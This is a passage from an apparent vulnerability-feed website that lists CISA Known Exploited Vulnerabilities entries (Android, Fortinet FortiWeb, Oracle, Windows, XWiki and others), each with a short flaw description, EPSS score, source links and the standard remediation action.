BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 2, 2025; federal due date Dec 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Framework Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2025-48572 Android Framework Privilege Escalation Vulnerability (Dec 2, 2025). Android Framework contains an unspecified vulnerability that allows for privilege escalation. EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48572&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48572: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48572&date=2026-10-25 CISA added this entry on 2025-12-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 2, 2025; federal due date Dec 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### OpenPLC ScadaBR Cross-site Scripting Vulnerability https://kevwire.com/record/CVE-2021-26829 OpenPLC ScadaBR Cross-site Scripting Vulnerability (Nov 28, 2025). OpenPLC ScadaBR contains a cross-site scripting vulnerability via system_settings.shtm. EPSS 48.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-26829&date=2026-10-25). Sources: CISA KEV entry CVE-2021-26829: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-26829&date=2026-10-25 CISA added this entry on 2025-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 28, 2025; federal due date Dec 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Fusion Middleware Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2025-61757 Oracle Fusion Middleware Missing Authentication for Critical Function Vulnerability (Nov 21, 2025). Oracle Fusion Middleware contains a missing authentication for critical function vulnerability, allowing unauthenticated remote attackers to take over Identity Manager. EPSS 88.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61757&date=2026-10-25). Sources: CISA KEV entry CVE-2025-61757: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61757&date=2026-10-25 CISA added this entry on 2025-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 21, 2025; federal due date Dec 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2025-13223 Google Chromium V8 Type Confusion Vulnerability (Nov 19, 2025). Google Chromium V8 contains a type confusion vulnerability that allows for heap corruption. EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-13223&date=2026-10-25). Sources: CISA KEV entry CVE-2025-13223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-13223&date=2026-10-25 CISA added this entry on 2025-11-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 19, 2025; federal due date Dec 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiWeb OS Command Injection Vulnerability https://kevwire.com/record/CVE-2025-58034 Fortinet FortiWeb OS Command Injection Vulnerability (Nov 18, 2025). Fortinet FortiWeb contains an OS command Injection vulnerability that may allow an authenticated attacker to execute unauthorized code on the underlying system via crafted HTTP requests or CLI commands. EPSS 54.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-58034&date=2026-10-25). Sources: CISA KEV entry CVE-2025-58034: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-58034&date=2026-10-25 CISA added this entry on 2025-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 18, 2025; federal due date Nov 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortinet FortiWeb Path Traversal Vulnerability https://kevwire.com/record/CVE-2025-64446 Fortinet FortiWeb Path Traversal Vulnerability (Nov 14, 2025). Fortinet FortiWeb contains a relative path traversal vulnerability that may allow an unauthenticated attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests. EPSS 91.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-64446&date=2026-10-25). Sources: CISA KEV entry CVE-2025-64446: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-64446&date=2026-10-25 CISA added this entry on 2025-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 14, 2025; federal due date Nov 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Gladinet Triofox Improper Access Control Vulnerability https://kevwire.com/record/CVE-2025-12480 Gladinet Triofox Improper Access Control Vulnerability (Nov 12, 2025). Gladinet Triofox contains an improper access control vulnerability that allows access to initial setup pages even after setup is complete. EPSS 95.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-12480&date=2026-10-25). Sources: CISA KEV entry CVE-2025-12480: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-12480&date=2026-10-25 CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 12, 2025; federal due date Dec 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Race Condition Vulnerability https://kevwire.com/record/CVE-2025-62215 Microsoft Windows Race Condition Vulnerability (Nov 12, 2025). Microsoft Windows Kernel contains a race condition vulnerability that allows a local attacker with low-level privileges to escalate privileges. Successful exploitation of this vulnerability could enable the attacker to gain SYSTEM-level access. EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-62215&date=2026-10-25). Sources: CISA KEV entry CVE-2025-62215: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-62215&date=2026-10-25 CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 12, 2025; federal due date Dec 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WatchGuard Firebox Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2025-9242 WatchGuard Firebox Out-of-Bounds Write Vulnerability (Nov 12, 2025). WatchGuard Firebox contains an out-of-bounds write vulnerability in the OS iked process that may allow a remote unauthenticated attacker to execute arbitrary code. EPSS 91.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-9242&date=2026-10-25). Sources: CISA KEV entry CVE-2025-9242: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-9242&date=2026-10-25 CISA added this entry on 2025-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 12, 2025; federal due date Dec 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2025-21042 Samsung Mobile Devices Out-of-Bounds Write Vulnerability (Nov 10, 2025). Samsung mobile devices contain an out-of-bounds write vulnerability in libimagecodec.quram.so. This vulnerability could allow remote attackers to execute arbitrary code. EPSS 35.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21042&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21042: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21042&date=2026-10-25 CISA added this entry on 2025-11-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 10, 2025; federal due date Dec 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### CWP Control Web Panel OS Command Injection Vulnerability https://kevwire.com/record/CVE-2025-48703 CWP Control Web Panel OS Command Injection Vulnerability (Nov 4, 2025). CWP Control Web Panel (formerly CentOS Web Panel) contains an OS command Injection vulnerability that allows unauthenticated remote code execution via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root username must be known. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48703&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48703: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48703&date=2026-10-25 CISA added this entry on 2025-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 4, 2025; federal due date Nov 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Gladinet CentreStack and Triofox Files or Directories Accessible to External Parties Vulnerability https://kevwire.com/record/CVE-2025-11371 Gladinet CentreStack and Triofox Files or Directories Accessible to External Parties Vulnerability (Nov 4, 2025). Gladinet CentreStack and Triofox contains a files or directories accessible to external parties vulnerability that allows unintended disclosure of system files. EPSS 92.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-11371&date=2026-10-25). Sources: CISA KEV entry CVE-2025-11371: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-11371&date=2026-10-25 CISA added this entry on 2025-11-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 4, 2025; federal due date Nov 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Broadcom VMware Aria Operations and VMware Tools Privilege Defined with Unsafe Actions Vulnerability https://kevwire.com/record/CVE-2025-41244 Broadcom VMware Aria Operations and VMware Tools Privilege Defined with Unsafe Actions Vulnerability (Oct 30, 2025). Broadcom VMware Aria Operations and VMware Tools contain a privilege defined with unsafe actions vulnerability. A malicious local actor with non-administrative privileges having access to a VM with VMware Tools installed and managed by Aria Operations with SDMP enabled may exploit this vulnerability to escalate privileges to root on the same VM. EPSS 8.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-41244&date=2026-10-25). Sources: CISA KEV entry CVE-2025-41244: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-41244&date=2026-10-25 CISA added this entry on 2025-10-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 30, 2025; federal due date Nov 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### XWiki Platform Eval Injection Vulnerability https://kevwire.com/record/CVE-2025-24893 XWiki Platform Eval Injection Vulnerability (Oct 30, 2025). XWiki Platform contains an eval injection vulnerability that could allow any guest to perform arbitrary remote code execution through a request to SolrSearch. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24893&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24893&date=2026-10-25 CISA added this entry on 2025-10-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 30, 2025; federal due date Nov 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dassault Systèmes DELMIA Apriso Code Injection Vulnerability https://kevwire.com/record/CVE-2025-6204 Dassault Systèmes DELMIA Apriso Code Injection Vulnerability (Oct 28, 2025). Dassault Systèmes DELMIA Apriso contains a code injection vulnerability that could allow an attacker to execute arbitrary code. EPSS 79.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6204&date=2026-10-25). Sources: CISA KEV entry CVE-2025-6204: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6204&date=2026-10-25 CISA added this entry on 2025-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 28, 2025; federal due date Nov 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dassault Systèmes DELMIA Apriso Missing Authorization Vulnerability https://kevwire.com/record/CVE-2025-6205 Dassault Systèmes DELMIA Apriso Missing Authorization Vulnerability (Oct 28, 2025). Dassault Systèmes DELMIA Apriso contains a missing authorization vulnerability that could allow an attacker to gain privileged access to the application. EPSS 73.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6205&date=2026-10-25). Sources: CISA KEV entry CVE-2025-6205: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6205&date=2026-10-25 CISA added this entry on 2025-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 28, 2025; federal due date Nov 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Commerce and Magento Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2025-54236 Adobe Commerce and Magento Improper Input Validation Vulnerability (Oct 24, 2025). Adobe Commerce and Magento Open Source contain an improper input validation vulnerability that could allow an attacker to take over customer accounts through the Commerce REST API. EPSS 94.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54236&date=2026-10-25). Sources: CISA KEV entry CVE-2025-54236: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54236&date=2026-10-25 CISA added this entry on 2025-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2025; federal due date Nov 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Server Update Service (WSUS) Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2025-59287 Microsoft Windows Server Update Service (WSUS) Deserialization of Untrusted Data Vulnerability (Oct 24, 2025). Microsoft Windows Server Update Service (WSUS) contains a deserialization of untrusted data vulnerability that allows for remote code execution. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59287&date=2026-10-25). Sources: CISA KEV entry CVE-2025-59287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59287&date=2026-10-25 CISA added this entry on 2025-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 24, 2025; federal due date Nov 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Motex LANSCOPE Endpoint Manager Improper Verification of Source of a Communication Channel Vulnerability https://kevwire.com/record/CVE-2025-61932 Motex LANSCOPE Endpoint Manager Improper Verification of Source of a Communication Channel Vulnerability (Oct 22, 2025). Motex LANSCOPE Endpoint Manager contains an improper verification of source of a communication channel vulnerability allowing an attacker to execute arbitrary code by sending specially crafted packets. EPSS 2.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61932&date=2026-10-25). Sources: CISA KEV entry CVE-2025-61932: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61932&date=2026-10-25 CISA added this entry on 2025-10-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 22, 2025; federal due date Nov 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Unspecified Vulnerability https://kevwire.com/record/CVE-2022-48503 Apple Multiple Products Unspecified Vulnerability (Oct 20, 2025). Apple macOS, iOS, tvOS, Safari, and watchOS contain an unspecified vulnerability in JavaScriptCore that when processing web content may lead to arbitrary code execution. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 3.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-48503&date=2026-10-25). Sources: CISA KEV entry CVE-2022-48503: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-48503&date=2026-10-25 CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability https://kevwire.com/record/CVE-2025-2746 Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability (Oct 20, 2025). Kentico Xperience CMS contains an authentication bypass using an alternate path or channel vulnerability that could allow an attacker to control administrative objects. EPSS 74.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2746&date=2026-10-25). Sources: CISA KEV entry CVE-2025-2746: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2746&date=2026-10-25 CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability https://kevwire.com/record/CVE-2025-2747 Kentico Xperience CMS Authentication Bypass Using an Alternate Path or Channel Vulnerability (Oct 20, 2025). Kentico Xperience CMS contains an authentication bypass using an alternate path or channel vulnerability that could allow an attacker to control administrative objects. EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2747&date=2026-10-25). Sources: CISA KEV entry CVE-2025-2747: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2747&date=2026-10-25 CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows SMB Client Improper Access Control Vulnerability https://kevwire.com/record/CVE-2025-33073 Microsoft Windows SMB Client Improper Access Control Vulnerability (Oct 20, 2025). Microsoft Windows SMB Client contains an improper access control vulnerability that could allow for privilege escalation. An attacker could execute a specially crafted malicious script to coerce the victim machine to connect back to the attack system using SMB and authenticate. EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-33073&date=2026-10-25). Sources: CISA KEV entry CVE-2025-33073: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-33073&date=2026-10-25 CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle E-Business Suite Server-Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2025-61884 Oracle E-Business Suite Server-Side Request Forgery (SSRF) Vulnerability (Oct 20, 2025). Oracle E-Business Suite contains a server-side request forgery (SSRF) vulnerability in the Runtime component of Oracle Configurator. This vulnerability is remotely exploitable without authentication. EPSS 95.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61884&date=2026-10-25). Sources: CISA KEV entry CVE-2025-61884: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61884&date=2026-10-25 CISA added this entry on 2025-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 20, 2025; federal due date Nov 10, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Experience Manager Forms Code Execution Vulnerability https://kevwire.com/record/CVE-2025-54253 Adobe Experience Manager Forms Code Execution Vulnerability (Oct 15, 2025). Adobe Experience Manager Forms in JEE contains an unspecified vulnerability that allows for arbitrary code execution. EPSS 88.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54253&date=2026-10-25). Sources: CISA KEV entry CVE-2025-54253: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54253&date=2026-10-25 CISA added this entry on 2025-10-15. This record's publication date is the catalog addition date, not 